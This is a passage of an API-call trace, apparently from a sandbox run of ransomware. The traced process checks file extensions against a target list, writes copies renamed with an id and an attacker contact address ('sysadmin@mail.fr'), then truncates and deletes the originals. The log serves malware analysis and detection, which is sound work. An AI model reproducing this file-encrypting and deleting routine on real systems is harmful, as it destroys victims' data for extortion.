	[0042.877] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1
	[0042.877] lstrlenW (lpString=".pdf") returned 4
	[0042.877] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.877] lstrlenW (lpString=".xls") returned 4
	[0042.877] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.877] lstrlenW (lpString=".xlsx") returned 5
	[0042.877] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1
	[0042.878] lstrlenW (lpString=".ppt") returned 4
	[0042.878] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0042.878] lstrlenW (lpString=".zip") returned 4
	[0042.878] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.878] lstrlenW (lpString=".rar") returned 4
	[0042.878] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.878] lstrlenW (lpString=".bz2") returned 4
	[0042.878] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.878] lstrlenW (lpString=".7z") returned 3
	[0042.878] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0042.878] lstrlenW (lpString=".dbf") returned 4
	[0042.878] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0042.878] lstrlenW (lpString=".1cd") returned 4
	[0042.878] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0042.878] lstrlenW (lpString=".jpg") returned 4
	[0042.878] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0042.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0042.878] lstrlenW (lpString=".doc") returned 4
	[0042.878] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.878] lstrlenW (lpString=".docx") returned 5
	[0042.878] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1
	[0042.878] lstrlenW (lpString=".pdf") returned 4
	[0042.878] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.878] lstrlenW (lpString=".xls") returned 4
	[0042.878] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.878] lstrlenW (lpString=".xlsx") returned 5
	[0042.878] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1
	[0042.878] lstrlenW (lpString=".ppt") returned 4
	[0042.878] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0042.878] lstrlenW (lpString=".zip") returned 4
	[0042.878] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.878] lstrlenW (lpString=".rar") returned 4
	[0042.879] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.879] lstrlenW (lpString=".bz2") returned 4
	[0042.879] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.879] lstrlenW (lpString=".7z") returned 3
	[0042.879] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.879] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0042.879] lstrlenW (lpString=".dbf") returned 4
	[0042.879] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.879] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0042.879] lstrlenW (lpString=".1cd") returned 4
	[0042.879] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.879] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0042.879] lstrlenW (lpString=".jpg") returned 4
	[0042.879] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.879] lstrcmpiW (lpString1=".ico", lpString2=".yG") returned -1
	[0042.879] lstrlenW (lpString="stop.ico") returned 8
	[0042.879] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0042.879] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=10134) returned 1
	[0042.879] CloseHandle (hObject=0x2f8) returned 1
	[0042.879] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80
	[0042.879] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.879] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0042.880] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.880] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.880] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0042.880] GetLastError () returned 0x0
	[0042.880] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x2796, lpOverlapped=0x0) returned 1
	[0042.905] WriteFile (in: hFile=0x2ec, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x27a0, lpOverlapped=0x0) returned 1
	[0042.906] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.906] WriteFile (in: hFile=0x2ec, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xe4, lpOverlapped=0x0) returned 1
	[0042.906] SetEndOfFile (hFile=0x2ec) returned 1
	[0042.907] CloseHandle (hObject=0x2ec) returned 1
	[0042.907] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.907] SetEndOfFile (hFile=0x2f8) returned 1
	[0042.908] CloseHandle (hObject=0x2f8) returned 1
	[0042.908] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.908] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1
	[0042.908] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0042.908] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0042.908] lstrlenW (lpString=".doc") returned 4
	[0042.909] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.909] lstrlenW (lpString=".docx") returned 5
	[0042.909] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1
	[0042.909] lstrlenW (lpString=".pdf") returned 4
	[0042.909] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.909] lstrlenW (lpString=".xls") returned 4
	[0042.909] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.909] lstrlenW (lpString=".xlsx") returned 5
	[0042.909] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1
	[0042.909] lstrlenW (lpString=".ppt") returned 4
	[0042.909] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0042.909] lstrlenW (lpString=".zip") returned 4
	[0042.909] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.909] lstrlenW (lpString=".rar") returned 4
	[0042.909] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.909] lstrlenW (lpString=".bz2") returned 4
	[0042.909] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.909] lstrlenW (lpString=".7z") returned 3
	[0042.909] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0042.909] lstrlenW (lpString=".dbf") returned 4
	[0042.909] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0042.909] lstrlenW (lpString=".1cd") returned 4
	[0042.909] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0042.909] lstrlenW (lpString=".jpg") returned 4
	[0042.909] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0042.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0042.909] lstrlenW (lpString=".doc") returned 4
	[0042.909] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.909] lstrlenW (lpString=".docx") returned 5
	[0042.909] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1
	[0042.909] lstrlenW (lpString=".pdf") returned 4
	[0042.910] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.910] lstrlenW (lpString=".xls") returned 4
	[0042.910] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.910] lstrlenW (lpString=".xlsx") returned 5
	[0042.910] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1
	[0042.910] lstrlenW (lpString=".ppt") returned 4
	[0042.910] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.910] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0042.910] lstrlenW (lpString=".zip") returned 4
	[0042.910] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.910] lstrlenW (lpString=".rar") returned 4
	[0042.910] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.910] lstrlenW (lpString=".bz2") returned 4
	[0042.910] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.910] lstrlenW (lpString=".7z") returned 3
	[0042.910] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.910] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0042.910] lstrlenW (lpString=".dbf") returned 4
	[0042.910] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.910] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0042.910] lstrlenW (lpString=".1cd") returned 4
	[0042.910] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.910] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0042.910] lstrlenW (lpString=".jpg") returned 4
	[0042.911] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.911] lstrcmpiW (lpString1=".ico", lpString2=".yG") returned -1
	[0042.911] lstrlenW (lpString="SysReqNotMet.ico") returned 16
	[0042.911] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0042.911] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=1150) returned 1
	[0042.911] CloseHandle (hObject=0x2f8) returned 1
	[0042.911] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80
	[0042.911] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.911] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0042.911] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.911] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.911] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0042.912] GetLastError () returned 0x0
	[0042.912] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x47e, lpOverlapped=0x0) returned 1
	[0042.975] WriteFile (in: hFile=0x2ec, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x480, lpOverlapped=0x0) returned 1
	[0042.975] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.975] WriteFile (in: hFile=0x2ec, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xf4, lpOverlapped=0x0) returned 1
	[0042.976] SetEndOfFile (hFile=0x2ec) returned 1
	[0042.976] CloseHandle (hObject=0x2ec) returned 1
	[0042.976] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.976] SetEndOfFile (hFile=0x2f8) returned 1
	[0042.977] CloseHandle (hObject=0x2f8) returned 1
	[0042.977] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.977] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1
	[0042.977] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0042.977] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0042.977] lstrlenW (lpString=".doc") returned 4
	[0042.978] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.978] lstrlenW (lpString=".docx") returned 5
	[0042.978] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0042.978] lstrlenW (lpString=".pdf") returned 4
	[0042.978] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.978] lstrlenW (lpString=".xls") returned 4
	[0042.978] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.978] lstrlenW (lpString=".xlsx") returned 5
	[0042.978] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0042.978] lstrlenW (lpString=".ppt") returned 4
	[0042.978] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.978] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0042.978] lstrlenW (lpString=".zip") returned 4
	[0042.978] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.978] lstrlenW (lpString=".rar") returned 4
	[0042.978] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.978] lstrlenW (lpString=".bz2") returned 4
	[0042.978] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.978] lstrlenW (lpString=".7z") returned 3
	[0042.978] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.978] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0042.978] lstrlenW (lpString=".dbf") returned 4
	[0042.978] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.978] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0042.978] lstrlenW (lpString=".1cd") returned 4
	[0042.978] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.978] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0042.978] lstrlenW (lpString=".jpg") returned 4
	[0042.978] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.978] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0042.978] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0042.978] lstrlenW (lpString=".doc") returned 4
	[0042.978] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.978] lstrlenW (lpString=".docx") returned 5
	[0042.978] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0042.978] lstrlenW (lpString=".pdf") returned 4
	[0042.978] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.979] lstrlenW (lpString=".xls") returned 4
	[0042.979] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.979] lstrlenW (lpString=".xlsx") returned 5
	[0042.979] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0042.979] lstrlenW (lpString=".ppt") returned 4
	[0042.979] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.979] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0042.979] lstrlenW (lpString=".zip") returned 4
	[0042.979] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.979] lstrlenW (lpString=".rar") returned 4
	[0042.979] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.979] lstrlenW (lpString=".bz2") returned 4
	[0042.979] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.979] lstrlenW (lpString=".7z") returned 3
	[0042.979] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.979] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0042.979] lstrlenW (lpString=".dbf") returned 4
	[0042.979] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.979] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0042.979] lstrlenW (lpString=".1cd") returned 4
	[0042.979] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.979] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0042.979] lstrlenW (lpString=".jpg") returned 4
	[0042.979] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.979] lstrcmpiW (lpString1=".msi", lpString2=".yG") returned -1
	[0042.979] lstrlenW (lpString="netfx_Core_x86.msi") returned 18
	[0042.979] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0043.059] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=1163264) returned 1
	[0043.059] CloseHandle (hObject=0x2e0) returned 1
	[0043.059] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80
	[0043.059] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.059] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0043.059] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.059] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.059] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0043.060] GetLastError () returned 0x0
	[0043.060] ReadFile (in: hFile=0x2e0, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0043.298] WriteFile (in: hFile=0x300, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0043.315] ReadFile (in: hFile=0x2e0, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x1c010, lpOverlapped=0x0) returned 1
	[0043.323] WriteFile (in: hFile=0x300, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x1c020, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x1c020, lpOverlapped=0x0) returned 1
	[0043.582] ReadFile (in: hFile=0x2e0, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0043.582] WriteFile (in: hFile=0x300, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xf8, lpOverlapped=0x0) returned 1
	[0043.582] SetEndOfFile (hFile=0x300) returned 1
	[0043.583] CloseHandle (hObject=0x300) returned 1
	[0043.602] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.602] SetEndOfFile (hFile=0x2e0) returned 1
	[0043.603] CloseHandle (hObject=0x2e0) returned 1
	[0043.603] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0043.604] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 1
	[0043.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0043.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0043.604] lstrlenW (lpString=".doc") returned 4
	[0043.604] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0043.604] lstrlenW (lpString=".docx") returned 5
	[0043.604] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0043.604] lstrlenW (lpString=".pdf") returned 4
	[0043.604] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0043.604] lstrlenW (lpString=".xls") returned 4
	[0043.604] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0043.604] lstrlenW (lpString=".xlsx") returned 5
	[0043.604] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0043.604] lstrlenW (lpString=".ppt") returned 4
	[0043.604] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0043.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0043.604] lstrlenW (lpString=".zip") returned 4
	[0043.604] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0043.604] lstrlenW (lpString=".rar") returned 4
	[0043.604] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0043.605] lstrlenW (lpString=".bz2") returned 4
	[0043.605] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0043.605] lstrlenW (lpString=".7z") returned 3
	[0043.605] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0043.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0043.605] lstrlenW (lpString=".dbf") returned 4
	[0043.605] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0043.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0043.605] lstrlenW (lpString=".1cd") returned 4
	[0043.605] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
